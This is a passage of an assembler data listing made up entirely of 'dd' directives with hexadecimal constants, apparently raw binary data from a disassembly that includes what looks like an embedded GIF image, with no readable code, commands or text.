9050D9BBh, 71AD30AAh, 0F35967A5h dd 9ABE42FAh, 257EAF30h, 38416061h, 0F61670D8h, 0AC3C22AFh dd 438B1533h, 0AB46DAACh, 41AC4D82h, 0C6439AF7h, 9684F5B2h dd 0AD65AC3Dh, 5EC959B9h, 0A59D9DB6h, 36B63A1h, 15E211D9h dd 0EADD5CACh, 5A9B2F57h, 0B4D6B6D4h, 2BFE05ABh, 0DB1AD96Ah dd 0ABD6D6C4h, 5EED9D84h, 0DDD67B63h, 5FB096BEh, 676F2B0Dh dd 0AEDEDAEBh, 2DC5B716h, 0DB817061h, 9722E45Ah, 0EE3DCDB6h dd 0D6DB536Dh, 0B7F70AE7h, 726DCD9Fh, 0D95B2BB3h, 0D0BB7762h dd 0C574ACA5h, 6EDEDAFBh, 55C4BAD7h, 6BC176AEh, 769EEF5Eh dd 0AEEDD4B8h, 5E7B9F76h, 0BCB6AACFh, 7CAFBDAEh, 86573953h dd 2B9F740Ah, 0F7652BC4h, 0AEFC563Bh, 1E05C0F7h, 5BB97730h dd 76D2ADE0h, 30260EBEh, 0DC0B4D83h, 0BBB82AF9h, 5AF0BDEDh dd 0F9613B77h, 1AC23866h, 3377EECEh, 7AFDE17Ch, 0AE20C417h dd 5C2D8A2Eh, 0F81ACFE1h, 6EFE1DC3h, 0E12C4364h, 0C596AAF4h dd 8C2C95ACh, 4611C73h, 2DC5D83Fh, 2168E3EEh, 0C6FB5A53h dd 461DC578h, 6C178D6Ch, 0F84323E2h, 0ACC640C9h, 64DC978Fh dd 0B2381F0Ch, 93B2B650h, 26E3BBEDh, 59C37977h, 7B96706Eh dd 6F31664Ch, 0AE51CB59h, 0DB61FE71h, 1B34669Bh, 5668CCD9h dd 4C4B9571h, 99933561h, 28FD0BA3h, 5A785341h, 0BEF73B0Bh dd 833405B5h, 15D5ABDh, 49CC39FFh, 9188B196h, 1EDFDC5Ch dd 7658C7FAh, 3C45A131h, 0F73339E9h, 0F3B677B8h, 667C3D95h dd 0D35A6738h, 0A132DE9Dh, 29E52D3Dh, 0A2CCB977h, 99A5B416h dd 0FB50DE1Ch, 2865C871h, 9D4F9DF2h, 79BB2564h, 0B37E06B0h dd 0E3DC83ABh, 0CDB7AB2Fh, 0AAF54690h, 48EBDD87h, 2AD1997Bh dd 59AD31A6h, 83446BEDh, 1577CE5Ah, 0CD41B2F6h, 9A933669h dd 75BE75C7h, 51ECF1ADh, 0CF95DA74h, 5F3626BAh, 66601D9Bh dd 4CDB7B23h, 0A7A7F656h, 2F31E60Dh, 86C5DB3Ah, 9CDBBB77h dd 7A33536Ch, 0F676E7DDh, 6E0DA18Eh, 0D77BBB7Bh, 8537F5C2h dd 82E70DF9h, 0B2D611FFh, 0D9B372BEh, 331FEC7Ch, 0A6DADE7Ch dd 9B9B99B6h, 9C0B7569h, 0F0E6E8E2h, 716DF3B3h, 0C1DAEF1Bh dd 0BCB8C71Dh, 609E3FFEh, 0DA7C8B28h, 0B5F7DEC6h, 29F06BD3h dd 0C3DAD713h, 439C7916h, 384433Bh, 66C2DA38h, 0BD156DAFh dd 57D3135Ch, 0F44EADD5h, 0F41E0374h, 0BC1B539Dh, 0D2B04DF9h dd 0F673DADFh, 0BCD1D746h, 8971BA7Dh, 0C31A73BEh, 8F3DE91Bh dd 6BD17D2Bh, 5863A1EFh, 75B70AEAh, 6ACE93D1h, 0E7DD5AF7h dd 957B1DF1h, 0B2711BA1h, 7ABFBABFh, 1155A8BEh, 0D63B734Ah dd 6777923Dh, 6921DE61h, 1DCE8773h, 61E77BA2h, 783901E0h dd 0E0FE1614h, 9EF6F770h, 0C3D93EFFh, 8E981657h, 0F3426D87h dd 33B978ACh, 3798F2FEh, 0F9E3E267h, 0FE7BCCEDh, 7BEC93F3h dd 0FA4F41E7h, 0F297F3D2h, 0E9BC5F9Ch, 1EFACF57h, 0A4F55E8Ah dd 2333F71Ch, 8EBBEBCFh, 9DB7B41Ah, 2F6F86E4h, 1EEF51CCh dd 0E7C73FBBh, 0FB0AEBE6h, 0EC5ECA51h, 0E0B637B1h, 59710861h dd 30CF9BF2h, 0D7D5EB87h, 0E772FCAEh, 768EDE71h, 0FE5F0A39h dd 1E51796Fh, 7CA6D7FFh, 5B330EFEh, 0BF8A53FDh, 6476F7D4h dd 7D3FA9F3h, 0FB11E39Ch, 0F0B86675h, 0EEFC4F51h, 0E4E876E7h dd 0F17A3B1Dh, 9FB769BFh, 0F6C9BC77h, 67D6AA74h, 607507F7h dd 0C8067207h, 7FF7FC74h, 0BE7FD68Ah, 0A74B7CD5h, 8116547Dh dd 418075ACh, 0F7EC7C17h, 5D774080h, 5E5F880Ah, 760D7EB7h dd 80B5CE80h, 5C59E75Bh, 17C06407h, 42B77A7Fh, 0FA7D07DCh dd 0A75F71D6h, 7326D96Fh, 1A715713h, 8046DA7h, 68572D69h dd 486D26CEh, 0D6467F26h, 75460B83h, 0E268B76Dh, 76FF6295h dd 6F476576h, 24674631h, 0A8207266h, 71C83F83h, 3B844757h dd 0D72B7E28h, 82D4257Eh, 0E854786h, 38266F98h, 7D582A72h dd 4E65870Fh, 6E185E8h, 83557E84h, 5485F7FDh, 6E46EF6h dd 83B6D761h, 0A586A691h, 68458406h, 69786086h, 0E97175C3h dd 0D6AE7317h, 7E882781h, 0FF7C352Dh, 0E0FE77E5h, 168F75F7h dd 8037126Ch, 55817862h, 860488F7h, 8686E969h, 0B66956D2h dd 0D8945825h, 87A58068h, 7160369Bh, 46838288h, 7196E683h dd 0F5898877h, 0D88B86D5h, 6B569F72h, 0E7695713h, 0D8968A07h dd 84B7EC8Ah, 1588685Bh, 37627375h, 70289A87h, 4B6C069Ch dd 5EB8B26h, 6D57D171h, 0BE667729h, 47D15988h, 84C7C867h dd 608BE703h, 0F8708476h, 81984A87h, 0A58C2765h, 98767118h dd 7E56FB88h, 0CE8BF74Ch, 38898DF8h, 85C4298Eh, 0BF8BC884h dd 0A7E970B6h, 8D08A68Eh, 478C77F7h, 0B85D8C87h, 8617D671h dd 0D183085Fh, 88D8EF8h, 62B86E88h, 0E18ED704h, 38BB7158h dd 8DF7ED85h, 848D78F8h, 87DB6E88h, 8BA5278Bh, 458D85CAh dd 58508748h, 62D70E89h, 3E62360Ah, 18FF8528h, 90072C8Fh dd 0B66EF733h, 78F77F08h, 91770471h, 0EB65C912h, 0C83F8CB6h dd 9278C38Ah, 48DC918h, 3390FE19h, 0F9089246h, 42D87857h dd 0B5888E6h, 0E8097688h, 89A75972h, 2759754h, 96BD8C48h dd 69493576h, 3B8295E5h, 75CC8919h, 7557B96Bh, 43818681h dd 37CA81F8h, 7C08DA75h, 0D6940816h, 0C86F9546h, 74D8AC76h dd 0BE93C86Dh, 0F7517FA5h, 76975B7Ch, 2F8CA8E2h, 0F90C4989h dd 7E590E52h, 0CC7B44FFh, 17AD9724h, 9394A696h, 745058E4h dd 597B4CA9h, 7AE97D97h, 6F53696Dh, 0D4FC85A9h, 9864F780h dd 88437975h, 99784A59h, 98F98E98h, 3D981481h, 59909835h dd 42399699h, 9A99798Dh, 0B9999979h, 98E99E99h, 0A299F99Dh dd 39A17AB9h, 79F9A69Ah, 0AA9A79A5h, 0B9A978C9h, 5549AE9Ah dd 0B29AF9ADh, 39B15479h, 53A9B69Bh, 0BA9B79B5h, 0B9B95319h dd 5249BE9Bh, 0C29BF9BDh, 39C151A9h, 5109C69Ch, 0CA9C79C5h dd 0B9C95059h, 4F79CE9Ch, 0D29CF9CDh, 39D14EE9h, 5009D69Dh dd 94544992h, 0DC9D79FEh, 0C9D54F69h, 9E146743h, 0E49E39E2h dd 549845E9h, 9E99E89Eh, 9A9E89EAh, 38877F47h, 0F07887Ah dd 0F40FF0FBh, 79F69F59h, 9F99F89Fh, 0FC9FB9FAh, 0F9FE9FD9h dd 0A01A009Fh, 4A03A02h, 80FBA05Ah, 0F07C244h, 0CA0BA05h dd 0FA0EA0DAh, 0A11A10A0h, 96A089FEh, 0D4399DF4h, 0CD0DD41h dd 0CDA1B0CBh, 0FA1EA1D0h, 0CEA1EA1h, 24A220CDh, 5A26A23Ah dd 0A27A28A2h, 2CA29A2Ah, 0DA2EA2BAh, 0A2FA30A2h, 34A31A32h dd 5A36A33Ah, 0A20A35A3h, 0D2A20A3Ah, 0E0F70DD0h, 0F242841h dd 0C60D70F5h, 6A450C50h, 0A49A480Ch, 49A4BA4Ah, 0FA4E0C5Ah dd 0A51A50A4h, 54A53A52h, 0CA56A55Ah, 0A4BA58A4h, 5CA5BA56h dd 0DA5EA5DAh, 0A61A59A5h, 0CB0C6A47h, 1A070DB0h, 437A164Ah dd 0F50F60F5h, 905407D0h, 0A71A7004h, 49A73A72h, 7A7503F0h dd 0A79A76A7h, 7AA7BA78h dd 0FA7CA7DAh, 0A81A7EA7h, 0FEA83A80h, 84A85A82h, 9A86A87Ah dd 0A8BA88A8h, 71A8DA74h, 607D054Ah, 0F80F60Fh, 71A93428h dd 90320340h, 0A9BA9AA9h, 9EA9DA9Ch, 1AA0A9FAh, 0AA3AA2AAh dd 0A6AA5AA4h, 9AA8AA7Ah, 34AA8AAh, 6C0F8071h, 5A69497Ah dd 0F10EE43h, 9108008Fh, 90830870h, 0ABB086ABh, 0BCABDABCh dd 86081Ah, 83081ACh, 0C6AC407Eh, 7AC8AC5Ah, 0AC1AC4ACh dd 0CDAC2ACCh, 1ACEACFAh, 0AD3AD0ADh, 0D4AD5AD2h, 9AD6AD7Ah dd 0ADBAD8ADh, 0CFADDADAh, 0BAE0ABEAh, 83AB9ABh, 85091087h dd 0D0F308F0h, 8F0F47Dh, 9F097062h, 1AF0AEF0h, 0AF3AF2AFh dd 0F6AF5AF4h, 9AF8AF7Ah, 0AFBAFAAFh, 0FEAFDAFCh, 7B00AFFAh dd 8F06209h, 887F60F4h, 88B99EE7h, 0F247F88h, 7205B0F6h dd 0A0A60A10h, 0A70A60Ah, 16B15B14h, 9B18B17Bh, 0B1BB1AB1h dd 1EB1DB1Ch, 1B20B1FBh, 0B23B22B2h, 13B1FB24h, 70A10A6Bh dd 0F605F07h, 42FE4A40h, 710460F9h, 40FF0E00h, 0B35B3441h dd 6B37B36h, 10E00FF4h, 0A3F04607h, 4B9D9A15h, 947B9DB5h dd 6A0E90Fh, 0A909E0A2h, 60B10B60h, 0B4D0B30Bh, 50B4FB4Eh dd 3B52B51Bh, 0B55B54B5h, 58B57B56h, 0BB5AB59Bh, 0B5DB5CB5h dd 0B6B4AB56h, 209E0A90h, 0E906D0Ah, 0E74260F9h, 0F0FF0390h dd 0B6D0D7A3h, 70B6FB6Eh, 3B72B71Bh, 0B75B74B7h, 78B77B76h dd 0BB7AB79Bh, 0B7DB7CB7h, 0F70F2B7Ch, 70390FF0h, 495B670Eh dd 0F9434AB1h, 0D0960890h, 0C80AD09h, 900E30C1h, 3B92B91Bh dd 0B95B94B9h, 98B97B96h, 0BB9AB99Bh, 0B9DB9CB9h, 0A0B9FB9Eh dd 80DEB9DBh, 9B0AD0Ch, 85089095h, 807A424Bh, 0DBA6B0Ah dd 0B00D90D7h, 3BB2BB1Bh, 0BB5BB4BBh, 0B8BB7BB6h, 0BBBABB9Bh dd 0BBDBBCBBh, 0C0BBFBBEh, 0B0D7BBDBh, 0A8A6C0Dh, 0A1BA907Ah dd 2552B407h, 0F847AB4h, 0A30A2070h, 0F0E10E40h, 0BD50EA0Dh dd 0BD7BFED6h, 0DABD9BD8h, 0DBDCBDBBh, 0BDFBDEBDh, 0E2BE1BE0h dd 5BE4BE3Bh, 0E6BE2BEh, 0A30E40E1h, 80700A20h, 49422BCh dd 0F70F40DDh, 50E00DD0h, 0BF7BF6BFh, 0FABF9BF8h, 0DBFCBFBBh dd 0BFFBFEBFh, 2C01C00h, 5C04C03Ch, 0A3EC04C0h, 490DD0F4h dd 0A4B8BEE0h, 0BCC559BCh, 660F8479h, 0F0AA0A00h, 0EE0ED0Fh dd 1AC190ECh, 0DC1CC1BCh, 0C1FC1EC1h, 22C21C20h, 5C24C23Ch dd 0C27C26C2h, 27C29C28h, 0A0FF0EDCh, 660A20Ah, 3D420C0Ch dd 0F0EF0D90h, 0C379EB0Fh, 5BC39C38h, 90EF0FF4h, 0C3103D0Dh dd 33B8748Fh, 805E0F64h, 0A120A909h, 4AC49C48h, 1C4CC4BCh dd 0A00ABA0h, 0F0C4005Eh, 0E0DB03C0h, 0C57C4D0Eh, 5AC59C58h dd 0B0EEA03Ch, 0C5203C0Dh, 32C42480h, 405E0F54h, 0A11C4709h dd 699F9001h, 5C6CC5BCh, 0C6DC6B9Fh, 980A9C4Ch, 0C426C510h dd 0B810E003h, 6EC6FA03h, 0A9F7C70Ch, 0C7FC7CC7h, 0C7EA01FEh dd 0E00F79FBh, 8B3FC5F0h, 0B0A90DB0h, 610F247Eh, 60A50920h dd 46048C0Fh, 9344C001h, 5467C3ACh, 0C980EEC9h, 0F0C38C92h dd 30A60F60h, 0C5206109h, 0FF0DB03Eh, 0C457C900h, 0C37C9455h dd 5CC96C9Ah, 0E455CAB4h, 0CB0451CAh, 0FFC9D44Ch, 3E0DB0h dd 6DDB07C6h, 79B067A9h, 208DC8C4h, 0E50EE0Ah, 0C4CC30DFh dd 7CC6CC5Ch, 1CC7CCh, 0C8CCACC4h, 0FCCECCDCh, 0CD1CD0CCh dd 0CCCCDCD2h, 3CD50DFCh, 0CD7CD0CDh, 0CDCDBCD8h, 20EE0E5Ch dd 0CA108C0Ah, 3E0F5425h, 5C360CB0h, 0CE90DD0Eh, 0ECCEBCEAh dd 0E0010DDCh, 0CEFCEBCEh, 0F4CF3CEDh, 0CF6CF5Ch, 0CF9CF7CFh dd 0FCCFBCFAh, 0DCF2CECCh, 0CFBCF8CFh, 0DECF5CFFh, 70CB0FFCh dd 0CBAC87CBh, 8C4917F5h, 0B0A208ACh, 0D60DF0Eh, 14D13D12h dd 6D16D15Dh, 0D13001D1h, 5ED12D19h, 7D1DD145h, 0D6D1AD1h dd 5DD1C55Ch, 2D25D215h, 0FEAD23D2h, 0D1BD27D1h, 29D28D21h dd 9D25D1EDh, 0D22D27D1h, 2FD24D28h, 0FD1BD2EDh, 0D20D1FD1h dd 16D3DD3Ch, 0B0EB0DFDh, 0CE207F09h, 0C6CE4424h, 0D0EB0FF0h dd 0D4B0D50Dh, 4ED4DD4Ch, 10D5Dh, 0D51D4DD5h, 4F55ED4Bh dd 0CD56D4FDh, 0D52D59D4h, 5DD5555Dh, 0DD51D54Dh, 0D53D55D5h dd 4ED62D5Ah, 0CD63D54Dh, 0D5A55CD5h, 63D6BD50h, 1D59D6EDh dd 0D6DD66D7h, 5BD62D70h, 7D52D74Dh, 0DDD4DD5h, 0C60FF0EBh dd 0EB86D080h, 0C1058FC0h, 610F7478h, 0A0A007F0h, 0D30DF0Eh dd 8ED8DD8Ch, 1D90D8FDh, 0D3001D9h, 95D8CD93h, 0DD98D96Dh dd 0D92D97D8h, 95D9BD97h, 0DD9A55CDh, 0D98D99D9h, 0A6D94D9Bh dd 0DD90D9ADh, 0D94DA2D9h, 9ED99DABh, 1DAFDA3Dh, 0DB3DB2D9h dd 94BD4DB3h, 3D440790h, 3E0F242h, 0EA0FF0C5h, 1A3B0DB0h dd 10CDDCh, 0C5DC4A1Dh, 6A1EDC7Dh, 0DCADC1DCh, 0C8DC8DC3h dd 0EDC955CDh, 0DFEC6DCh, 0A1FDCFDDh, 3ADD6DD3h, 0ADD3DCCAh dd 0DD1DDBDCh, 0D8DDCDC3h, 2DCEDCDDh, 0DD2DDADEh, 0CCDDCDE1h dd 0A0DBDC1Dh, 0C50FF0Eh, 62494D80h, 10F8431Ch, 9407C06h dd 0CF0DA0E9h, 0BDFADF90h, 0DFDDFCDFh, 10CFDFEh, 0AE01DFB0h dd 0E03E03DFh, 6DFCDFFh, 9E02E00Eh, 0E0DE09DFh, 0AE0BE0Ch dd 2E11E0FEh, 0E13E10E1h, 4E0EE11h, 9E05DFEEh, 0E1DE07E1h dd 0DADFFE1Eh, 60920E90h, 422DB907h, 0FF0C2CE4h, 0B0D90E90h dd 0E2DE2CA1h, 1A1BE2Eh, 1E2CE300h, 0E340CBE3h, 33E2FE32h dd 5E36E38Eh, 0E37E37E3h, 3BE34E36h, 2E2DE40Eh, 0E2EE39E4h dd 3CE3DE41h, 3E3EE49Eh, 0E4AE4CE4h, 4DE4AE47h, 8E44E50Eh dd 0CBE38E4h, 0FF0E90D9h, 9DEF0C20h, 96EC88BCh, 0F547DC8Ah dd 0E0750610h, 0D80E808h, 68E670C9h, 0BE6AE69Eh, 0C9E6CE6h dd 0A3E69001h, 0D55CE686h, 0E6FE6AE6h, 67684E72h, 0E79E76Eh dd 2E7BFEE7h, 0E6EE7DE7h, 75E78E79h, 0AE84E7EEh, 0E82E6EE7h dd 80E73E81h, 0DE74E77Eh, 0E6CE8EE8h, 8C0E80D8h, 1E250730h dd 3E0F842h, 0E50FF0BDh, 0CA620D50h, 0A49001A4h, 0A10C6E9Fh dd 4A48EA1Eh, 0EA6A58EAh, 0A3A4AEA0h, 9EA5EAAEh, 0EACEA2EAh dd 0A3EAEEAFh, 6EB0E9E6h, 0EB2EABEAh, 0B1EADEB0h, 0A684EA2Eh dd 0EA4A4BEBh, 0C2EBBEB3h, 50D5A59Eh, 0BD0FF0Eh, 0F1492E5Bh dd 3C8C430Dh, 0E608A07h, 0D20CA0D6h, 5ED4ED3Eh, 0ED7ED6EDh dd 0D40010CAh, 9ED8EDAEh, 0EDDEDCEDh, 0D7ED9EDFh, 2EE4EE1Eh dd 0EE6EE5EDh, 0DDEE8EE2h, 9EECEE9Eh, 0ED6EE7EEh, 0E1EDCEDFh dd 0BEF3EE6Eh, 0EDDEF6EEh, 8B0E60D6h, 7C40E940h, 0FF0BBE9h dd 0C00D20E2h, 5F04F030h, 0C0F06F0h, 9F05001h, 0AF08F09Fh dd 0F0EF07F0h, 3F0CF07h, 0DF12F0CFh, 0F16F16F0h, 10F14F15h dd 9F0FF15Fh, 0F1BF13F1h, 1EF04F20h, 0FF1CF17Fh, 2F11F1FEh dd 0F10F1DF2h, 0D2F04F0Fh, 0B0FF0E20h, 0C0DEC90Bh, 5F982E5Dh dd 0F06147DEh, 0DC08806h, 3CEF70CCh, 6F3EEDBFh, 0F3FEF5EFh dd 0EFED5EEAh, 0AF42EEEEh, 0F40EF1EDh, 45EE7ED3h, 1F3FF4BFh dd 0F3DEEDF4h, 0CC0CAF52h, 0F0880DC0h, 420E9506h, 0B903E0F9h dd 20C4CB50h, 0F61F600Bh, 0B2F63F62h, 6F620010h, 0F65F66F6h dd 6BF64F67h, 0F69F64Fh, 0F6FF69F6h, 73F73F6Ah, 0DF71F72Fh dd 0F6CF72F6h, 78F70F76h, 0BF61F7DFh, 0F79F74F7h, 7FF6EF7Ch dd 0CF6DF7AFh, 0C4F61F6h, 310B9CA4h, 4D8277CFh, 477D845Ah dd 6C05E0EDh, 3ED10880h, 0F45F3CF5h, 0E3F42EF2h, 0EF9BF9CEh dd 0F9AFA0F4h, 0A0EF0F9Eh, 0CFA2EEAFh, 0F4355CEEh, 3CF98F4Dh dd 408A0D6Fh, 0B2EC7406h, 0FF0B803Eh, 0E0B90D50h, 0FB9FB80Ah dd 0AEFBBFBAh, 0CFBB0010h, 0FBEFB855h, 0BCFC2FB9h, 2FBAFC1Fh dd 0FBDFC4FCh, 0CBFC3FC6h dd 0FECEFCAFh, 0FC4FCBFh, 0FD3FCFFCh, 0C9FD2FCDh, 0DFD1FC8Fh dd 0FC8FD3FCh, 0D7FDDFCCh, 5FC7FD5Fh, 0FC5FC9FDh, 0D50B90AEh dd 0D0B80FF0h, 0F8FC41F8h, 76F91644h, 6064F934h, 0EF7FACF9h dd 0DB55EEF3h, 3F9C55DEh, 0FA9EF4F4h, 0F6EEFFFAh, 1100FF9Fh dd 65006040h, 1B2A0D05h, 4120F088h, 1A130B85h, 0E1F0C84Ch dd 2D078640h, 0F198C45Eh, 6445B5A0h, 1783E4BCh, 7CC86452h dd 0ABFD703Eh, 4AD64BB6h, 0CA5D2D96h, 0E632F00Ah, 672D8A4Ah dd 32C9ACBAh, 349B4C27h, 4A04F205h, 9BCFE753h, 1512713Bh dd 40E853AAh, 0FA9936A5h, 0E774699Ch, 5F48A953h, 0ED55DCBAh dd 201F2E1Fh, 1B057E47h, 0B258EC56h, 0ABC1DD23h, 94470357h dd 0BEDD6D32h, 0A36EB85h, 0E0F51A8Eh, 579B2D9Dh, 6676DE6Fh dd 46E230C8h, 0C260E34Dh, 34563585h, 62F1589Ch, 3F1D8DC6h dd 1B8D4656h, 0BC663222h, 3C7CD82h, 0BF68BF17h, 6FE7EAEh dd 68A83A1Dh, 9F4DA5D2h, 0F5137D2Eh, 7FA8D66Ah, 8B87E345h dd 0B5BDE5C7h, 9B3D836Dh, 0DE5C6D76h, 0BDD6E770h, 0DEF85B7Bh dd 0E4C86E78h, 0D86B7561h, 9DCDE631h, 5D1E873Fh, 1E7F4FAh dd 9EC75FA8h, 0EE76FB5Dh, 1F4FBDDDh, 1CD58B76h, 8F686E32h dd 974497CCh, 96D56CBCh, 5F1F87BDh, 0F4FA7CFEh, 9FC7D403h dd 0FE7EFF5Fh, 0F7DFE3FDh, 701402Fh, 6C9AAF84h, 8925D1E4h dd 906386F3h, 62D4DCACh, 7F0937ABh, 6AF0BB3h, 9EE91C2Fh dd 8270BA44h, 0B95E4E10h, 471117C5h, 1344B124h, 17D1444Fh dd 0B164565Eh, 845F1745h, 525E4631h, 1B46B1A4h, 4731C46Fh dd 0F15C531Dh, 71084E15h, 16448BA2h, 4F8E8924h, 1CA711C4h dd 0B2649725h, 849F2749h, 0A7294A32h, 2B4AB2A4h, 4AE00CABh dd 0B2E4B72Dh, 0A13F2449h, 0C70C4883h, 937707Ch, 0B830A37Bh dd 27CCC731h, 0B8B0219Dh, 3A498FE2h, 4EB3FEA1h, 33C4EF3Bh dd 0F4E93D4Fh, 0FF3F4FA4h, 41503404h, 4F64F507h, 34450F43h dd 65174551h, 273ECF74h, 2C0AE3F9h, 0CC474882h, 0A1B1607Ch dd 0E1CE711Ah, 3E749CF4h, 51543505h, 54B52547h, 15454E75h dd 655752D5h, 5354D495h, 5956356Dh, 0D5557D47h, 0B5BD6F59h dd 0A9C473D3h, 0C45806C6h, 32C1B35Ch, 0AE333C23h, 960C2D34h dd 0B1EC7941h, 0D22C0742h, 690EA398h, 5AB6A5A7h, 36C5AF6Bh dd 0E5B76D5Bh, 0BF6F5BB6h, 715C3705h, 0CE39DBFh, 0C2B0742Ch dd 92C4791Eh, 0BC229D67h, 7B9EA748h, 1EE7C1F0h, 37C5EF7Bh dd 0E5E97BDFh, 0FB7F5FB7h, 816027DDh, 0E0782607h, 0E7FDE97Fh dd 0EE17839Fh, 1F866157h, 89623886h, 0E298A627h, 0A309D27Ah dd 4DD67588h, 8B61D836h, 8ED8EDE5h, 91E77585h, 4268D63Dh dd 66579509h, 842565B9h, 99663970h, 66B9A667h, 39C66F9Bh dd 0CE779D67h, 9B9D6619h, 8F6358FEh, 0EDC4D447h, 20C4481Fh dd 97A512E5h, 0A769BA66h, 6A3A869Fh, 0BAA6A7A9h, 0C6AFAB6Ah dd 0B7AD6B3Ah, 478A6526h, 647641FEh, 1082D161h, 0AAE96364h dd 0ED06EC50h, 2A1047A9h, 6E3B8096h, 0E25EE7B9h, 0C6EFBA07h dd 0F7BD6F3Bh, 0BF6FBBE6h, 0F03C06FFh, 9C06EDBFh, 51EC410Ah dd 0E3852CB7h, 180641A0h, 72219060h, 0BCA727C9h, 0C72FCB72h dd 37C7F33Ch, 0CF73BCE7h, 743D073Fh, 0BD2733D1h, 474FD374h dd 0E21A065Dh, 0B51F6658h, 0ECD8FCD7h, 0FD7E44B7h, 0C9E47736h dd 0AA6B9C47h, 0DF77BDE1h, 1A06AF7Fh, 0BE278669h, 478FE378h dd 97E5793Eh, 0E779BE67h, 7A3E879Fh, 0BE7785E9h, 0D1C06BF7h dd 0DCB1E387h, 6A9EA7A9h, 97A5D984h, 0BF217BF0h, 27CFF37Ch dd 0D7F517FFh, 0F77DBF67h, 17FF87DFh, 0BFA7E65Dh, 0DFE9FB7Eh dd 0F7FD7F25h, 0F47F5FE7h, 315F3FFFh, 2403804h, 780D016h dd 0FE316044h, 640B18Ch, 0F81D036h, 17046084h, 0B06AC028h dd 0BBB52EC3h, 0D764EC50h, 0D061DA16h, 5848F236h, 42384508h dd 84D09612h, 0A614427h, 1642B855h, 2F85D0B6h, 130C6184h dd 85758FB6h, 0D8F0370Dh, 0B8750C87h, 0D0F61E43h, 0E2043F87h dd 0EE1E50Ch, 2F707A1Bh, 760DC1Ah, 2217A88Dh, 4F89D136h dd 0A5146284h, 562A4538h, 0C4578AD1h, 0B8B51662h, 0F1762E45h dd 63044B89h, 45E36B18h, 8B119632h, 120E1C62h, 3444A765h dd 6F8CC586h, 0E51C6384h, 5A3A4738h, 0C4778DB1h, 0A8F51D63h dd 918E3C45h, 60DA666Ch, 47D8D819h, 90D21642h, 22644487h dd 4648B915h, 668D4596h, 2523641Bh, 564A4939h, 0C49792D2h dd 91F12E4h, 0D26648B2h, 65049F93h, 0CA394528h, 58B26E36h dd 2A65249Dh, 564AB955h, 0A69452B6h, 5D2A133Ch, 0D65A4B39h dd 54B796D2h, 84272C1Bh, 0D2E1A236h, 6604BF97h, 19FE8530h dd 2B10DD1Ch, 0E22CBC89h, 4CB99530h, 91933666h, 321344BAh dd 6A4D399Dh, 469AD356h, 0A4C86684h, 766E4D79h, 74DF9BD3h dd 0B98D1FD0h, 0D3826DC6h, 2744E79Ch, 2C69B333h, 1F00D422h dd 3C674C43h, 59CF39E5h, 351F0EDEh, 0CD38C220h, 0E02205A6h dd 0D9779DE0h, 3A054063h, 0D4168250h, 684507A0h, 50BA1542h dd 1E51F286h, 1101C0F8h, 0B6C810B4h, 38098168h, 0B53BC7D8h dd 768E4F47h, 9492A3D4h, 81F743C7h, 944C2603h, 4B985AA2h dd 3DD5E8C0h, 0A5D4B696h, 4C69852Fh, 9A533A65h, 37A6D4D6h dd 754E69C5h, 0F69E53BAh, 53FA7D4h, 3A85506Ah, 0D516A254h dd 0EA4547A8h, 0B015E94Dh, 0A4F498B5h, 5D01C517h, 0AA55306Ah dd 57AAD556h, 0B5566AC5h, 76AE55BAh, 55FABD5h, 3AC5586Bh dd 0D596B256h, 6B4567ACh, 56BAD55Ah, 0ADD5B6B6h, 57EB856Fh dd 0A7524AA3h, 280CB452h, 0E75E4225h, 0BE57D2BAh, 7FAFD5F6h dd 5606C05h, 16C2583Bh, 4587B0D6h, 0BB15626Ch, 0D636C658h dd 6C858FB1h, 593B2564h, 0B2D656CAh, 3E6BCD87h, 0BBD76AEBh dd 51A50146h, 45686D00h, 96D25A3Bh, 45A7B4D6h, 0BB556A6Dh dd 0D6B6D65Ah, 6D85AFB5h, 5B3B656Ch, 0B6D6D6DAh, 6E6DC5B7h dd 0DE5BBB75h, 28B596F6h, 85672CDDh, 16E25C3Bh, 45C7B8D7h dd 0BB95726Eh, 0D736E65Ch, 6E85CFB9h, 5D3BA574h, 0BAD756EAh dd 766EC5D7h, 0EE5DBBB5h, 0DFBBD776h, 0C5786F05h, 96F25E3Bh dd 45E7BCD7h, 0BBD57A6Fh, 0D7B6F65Eh, 6F85EFBDh, 5F3BE57Ch dd 0BED7D6FAh, 7E6FC5F7h, 0FE5FBBF5h, 0FFBFD7F6h, 5807005h dd 1702603Ch, 4607C0D8h, 0BC158270h, 0D8370660h, 70860FC1h dd 101C1F84h, 3B00h, 0 dd 38464947h, 21D6137h, 0FFE70178h, 10000h, 2700031Dh dd 1330002h, 2003801h, 4100013Ch, 410300h, 460Ch, 160C004Ah dd 470FF00h, 0A047410h, 68160960h, 0E5F0E09h, 18038209h dd 850E1254h, 8860F06h, 19155509h, 850F00A1h, 1A21508h dd 160F7A18h, 90120E7Fh, 0A911709h, 9166C10h, 790D089Ah dd 0B91B12h, 19157111h, 9C1407A5h, 16731B09h, 0B02BC13h dd 0AF0B06AFh, 0B9C0307h, 21147A16h, 0C51906B0h, 4BA1102h dd 1408B11Fh, 0D01802C5h, 0CA80F00h, 200BA60Fh, 6F1700D0h dd 0EA0261Ch, 0C00DA23h, 0DA292949h, 13951500h, 1B1A8124h dd 0B2221886h, 168E220Bh, 1D00DB22h, 0BC1A1790h, 1E7C1A0Ah dd 0A09C814h, 0A91711AAh, 0E81D11h, 1F05D10Ch, 0BE1400E6h dd 7D3140Ch, 1107D308h, 0A30505DEh, 0BC91416h, 200AC813h dd 0DC2A1C89h, 13A92404h, 1600F028h, 0AC1006DEh, 13B71914h dd 2414AB09h, 871B0CC9h, 2E71A20h, 211E8C2Ah, 7D1807DEh dd 11C12323h, 1D23800Fh, 861114B7h, 14B72521h, 2516AC18h dd 8B1C19A5h, 13C13120h, 1D03F517h, 0FF322B68h, 1D9E2200h dd 29218F22h, 8A1F07EAh, 0FD62224h, 1B0FD614h, 0EB1613CCh dd 16C2180Ah, 232E701Fh, 0D62212D6h, 2A862812h, 311FAC28h dd 0BD3E1ABEh, 14E32B1Dh, 2314E41Ch, 0F82F299Ah, 23AB260Eh dd 2420BE3Ah, 0B72123B7h, 2A9A2623h, 3427A638h, 881B14EFh dd 1DD23630h, 3B28A521h, 0BA2720D2h, 18F12F27h, 2B1CE623h dd 0C7C04D1Ch, 485E2A2Ah, 3423DF3Ch, 0D82924E1h, 29D03126h dd 3024E22Eh, 0E14B417Bh, 29DA3B25h, 342DCC2Dh, 0F53929D9h dd 25EC2D22h, 3220FF2Fh, 0ED525453h, 29FB372Bh, 4940E837h dd 59CD6F39h, 7C478873h, 64798DD5h, 3E9C866Ch, 8A59B891h dd 736BEBD7h, 567C75E0h, 9575FD98h, 